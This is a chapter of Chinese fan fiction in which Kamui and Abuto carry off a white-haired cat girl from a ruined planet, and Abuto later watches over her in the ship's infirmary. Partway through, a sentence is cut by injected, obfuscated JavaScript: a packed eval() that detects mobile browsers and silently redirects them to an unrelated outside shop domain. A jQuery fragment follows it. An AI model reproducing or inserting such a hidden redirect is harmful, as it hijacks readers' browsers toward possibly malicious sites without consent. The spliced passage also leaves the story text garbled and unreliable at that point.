阿伏兔努力控制住背后那个活蹦乱跳、吱哇乱叫、用斗篷临时做成的麻袋,跟上神威返回的步伐。
虽然阿伏兔我本来也算不得什么好人,但是这个场景……
果然还是感觉好微妙啊!
虽然那个笨蛋团长说我们只是把流浪猫给绑架代替购买了,但仔细想想麻袋里这个家伙与其说是猫,难道不更应该是个女人?
……不,还只是个小鬼吧。
大叔我活了大半辈子,一直信奉着哪怕当反派角色也要当得有格调的原则,从不主动对女人和小孩动手。
结果没想到在原作完结后还会有此一劫,成为了拐卖妇女儿童的绑架犯,喂喂,这可说不过去吧!
“所以团长,这到底是怎么一回事啊?你们是怎么打起来的?这家伙偷袭你的时候被你逮住了?”
阿伏兔左思右想,还是忍不住又开口问道。
收服猫女孩之后他们又四处探索了一番,再没发现其他的生物,想必她就是这个星球上仅剩的最后一人了。
神威笑眯眯地说:“打起来这种事难道需要什么特别的理由吗?简单来说,就是她在楼顶对着月亮唱歌,然后就被我发现了哦。”
“然后你就直接攻上去了?”阿伏兔震惊了。
“不然呢?本来以为好不容易找到了一个结实一点的玩具,可以好好享受一番的。”
神威满不在乎地笑着说:“结果这家伙一点战意都没有,真是无趣。”
“……”阿伏兔听着麻袋中时不时传来的抽泣声,心想,怪不得这小鬼会哭呢,大叔我也想哭了啊。
要不还是放了她吧,虽然这小鬼某种程度上也挺恐怖的,但感觉我们才是比较鬼畜的那一边啊。
神威瞥了阿伏兔一眼,似乎看出了他的想法,开口说。
“阿伏兔你啊,只要对方是女人或小孩就会心软,明明也知道对方其实很危险不是吗,真难得你活到现在只丢了一条手臂呢。”
“反正这一点看来大叔我是已经改不了了,倒是你这小鬼真有立场说这话啊。我要不是这种人,你小子现在恐怕还不知道在哪里玩泥巴呢。”
阿伏兔冷哼一声,反击道。
神威保持着灿烂的笑容,突然毫无预兆地一脚踢向阿伏兔的后腰,阿伏兔连忙把背上的麻袋一放,用伞格挡住这致命但并无杀意的一击。
夜兔少年用一种极其轻快,甚至有点孩子气的语气说。
“哎呀,阿伏兔,你最近不仅话变得像上了年纪的老婆婆一样多,好像反应也不如以前快了呢。再这样多愁善感下去,哪天一不小心死掉也是有可能的哦。”
说完他头也不回地继续往前走,单方面结束了这次对话。
“我背着这么大一个麻袋还要我怎么反应快啊!”阿伏兔对着他的背影大喊道,“还有,你这一下是想同时打我们两个吗?肯定是的吧!”
没有期望得到前方的回应,阿伏兔长叹一声,挠了挠蓬乱的头发,捡起了还在不停扭动的麻袋,重新踏上了归途。
…………
这到底是怎么一回事呢。
与此同时,神威也在思考。
他走在阿伏兔的前方,独自复盘着刚刚所发生的事情。
和阿伏兔分头行动后,神威就继续沿着废墟的脉络探寻历史的遗迹。
从无处不在的雕刻与壁画上来看,这颗荒星曾经存在一种有着猫类特征的居民,并发展出了一个辉煌的文明。
他们敬拜着某类至高的存在,为此时常会举行极为大型的祭祀活动,并以毛色的不同作为职能的区分。
似乎颜色越浅,地位就愈发崇高,在祭祀中画面的占比也越大。
可能这就是为什么,这颗荒星的建筑几乎都是白色。
而位于画面最中心的,几乎都是猫耳、头发与尾巴均为纯白无瑕的存在——只除了一位。
神威还在思索着这代表着什么,他依稀记得地球的银发武士家楼下的酒馆,就有一个外貌与这颗星球居民类似的天人,莫非她是这里的后裔?
忽而,他听到了远处传来的、隐隐约约的歌声。
那并不是风的呜咽,听起来……倒像是母亲会给临睡的孩子哼唱的摇篮曲。
于是他沿着歌声而去,来到了似乎是这座废弃城邦可以称作主干道的地方。
在歌声的尽头,他看见了一个女孩。
她高坐在天台边缘,双脚悬空晃动,被温柔的月色所拥抱,嘴里轻哼着歌谣。
神威很快意识到,这就是那个在壁画中格格不入的存在——银月将她的白发与黑尾镀上一层光晕,她专注地望着那颗格外巨大的月亮,似乎这世界再无它物。
他刻意加重了脚步,猫耳女孩低下了头,她似乎并不惊讶这颗星球上为什么会有外人出现,也并没有做出什么举动来将他驱逐。
那双蓝绿异色的眸子注视着他。
——良久,她仿佛怀揣了某种巨大疑惑,对他说道。
“你、没有妈妈吗?”
神威敢肯定,他当时差点没有维持住脸上的笑意。
……真是有趣,一个独自在废墟中徘徊的幽灵,有什么立场问我这个问题?
没有任何预兆,他的身体如一颗出膛的炮弹,射向了天台上的猫耳女孩。
去死吧。他愉悦地想。
……神威捂住腰部的伤口,感受着夜兔血脉快速愈合带来的灼热刺痛感。
虽然可以做到给他留下不浅的伤口,但这家伙可真够弱的,毫无战意、毫无章法,只有身体和本能还算值得称道。
是养尊处优久了根本不用战斗,还是和这颗星球一样荒废掉了?
这种程度的浪费,真是让我们夜兔这种,生来就是为了战斗和变强的种族看了想哭啊。
他的先遣部队就是被这种货色全歼的?真是一群吃白饭的家伙。
他居高临下地俯视着白发的猫耳女孩,刚刚那句触及到了他逆鳞的话语,已经被这场酣畅淋漓的厮杀冲淡了些许。
作为猎物,这家伙勉强还算合格。
如果再训练一番,作为他的对手,也够得上资格。
也许,养只猫,也未尝不可。
神威想。
反正有阿伏兔嘛。
…………
这小鬼长得有点像《死〇》的露〇亚啊,不过是卍解后的,阿伏兔感慨道。
他又转念一想,话说为什么前三章分别玩了一遍死火海的梗啊,很危险的啊,又不是打码了就看不出来!
咳咳,总之,他终于背着猫女孩回到了春雨海贼团的飞船上。
而在接受了船医的治疗后,她的全身缠满了绷带,只露出了一个完好的脑袋。
治疗时经历的种种艰辛暂且不提,从几乎要解体的医疗室已经可见一斑……
但也多亏了有残忍可怖的医生作为对照,阿伏兔取得了猫女孩的初步信任……
此时的她终于睡着,不再吵闹,长长的睫毛紧闭着,及肩的纯白短发与白皙无瑕的肌肤显得她清冷而出尘。
如果忽视她做的那些事情,单看这个样子,倒也称得上一句娇小柔弱、楚楚可怜。
把船医送入隔壁的医疗室抢救后,阿伏兔站在布满
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17750866|209416||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
爪痕的地板上望着平躺在病床上的女孩,不由得长舒出一口气。
他随意扯过一旁碎裂柜子的某部分残骸,反坐在上面,揉捏自己的眉心。
还好有医生分担火力,不然哪怕是他也会觉得棘手啊……
……唉,神威那家伙,自从和家人和解后,总算放过了自己,那个词怎么说的来着,释然?
但人生最大的心结与执念一旦被解开,便不免会陷入到某种空虚中去,进而要去寻找新的目标。
不过好在他脸上那万年不变的笑容,总算是带着几分真心实意了。
这段时间他表面说是要探索各个荒废星球,收集「历史正文」好找到「大秘宝」当上海贼王。
其实是暗戳戳地在找龙脉生物的事,虽然团里的大家都看破不说破,但肯定也以为团长只是想找新的强者来挑战。
当然肯定也有这方面的原因啦,但要让作为看着这臭小子长大的阿伏兔我来说。
恐怕就像他本人说的那样,还真的是在履行宇宙公民的义务,用暴力手段清除宇宙中因可能的龙脉失控而带来的隐患。
至于有没有其他潜意识里的原因,比如观察龙脉生物可能存在的其他结局、探寻母亲曾经生活的影子……
“妈妈……不要……”
病床上的女孩蜷缩了身体,泪水顺着眼角流入床单,头上的猫耳也低伏着。
她皱紧了眉,把食指关节伸到唇边,一口咬下,眼看鲜血又要涌出。
阿伏兔赶忙阻止她,但女孩的表情并没有舒展,于是他伸手摸了摸女孩的头顶,试图使她安心些。
感受到了这份抚摸,女孩找了找位置,把脸埋入阿伏兔的掌心,软和的颊肉蹭了蹭他手心的老茧,又沉沉地睡去了。
感受到手心传来的轻柔挤压与温热呼吸,阿伏兔不由自主地仰头,然后用空闲的机械手捂住了脸。
这下完蛋了,被困住了啊。
话说我人生中遇到的恋母癖小鬼是不是有点太多了啊,这是我的问题吗,就因为我是个有常识的靠谱成年人吗?
可恶啊,普通的小鬼也就算了,这些可全都是麻烦得要死的那种啊,要不还是抓紧时间写份辞呈吧……
阿伏兔试图在不惊醒女孩的情况下抽走手臂,对不起了小鬼,但作为一个靠谱的成年人,大叔我可是很忙的……
女孩的喉咙溢出一丝呜咽。
“……啧。”
阿伏兔维持着抽手的动作僵住了足有半分钟,最终还是败下阵来。
“就五分钟啊,大叔我最多只借你靠五分钟,五分钟后我就要去写辞职信打包走人了。”
阿伏兔一边小心让手臂不要挪动,一边破罐子破摔地往床头一靠,他揉了揉酸痛的眉心。
说起来今天先是在那颗破星球上提心吊胆拔腿狂奔,然后又被不让人省心的团长折腾了一通背着这个小鬼回来,最后还兼职了一下狂暴野兽的救助员……
就算是夜兔,到了我这个年龄也是会累的好吗。
听着耳边传来的细微呼噜,阿伏兔的眼皮开始发沉。
他原本只是打算闭目养神五分钟的,但连日的疲惫与难得的暂停,让他不知不觉垂下了头。
两道不同来源的呼吸交织在一起,平缓而均匀。
只是阿伏兔并未察觉,在他睡着后不一会。
掌心的猫女孩悄无声息地睁开一只眼,眼底里浮沉着某种晦暗不明的光。
她一动不动地观察了阿伏兔许久。
半晌,她终于垂下长长的白色眼睫,重新将脸颊更深地埋入那宽大粗糙的手掌中去。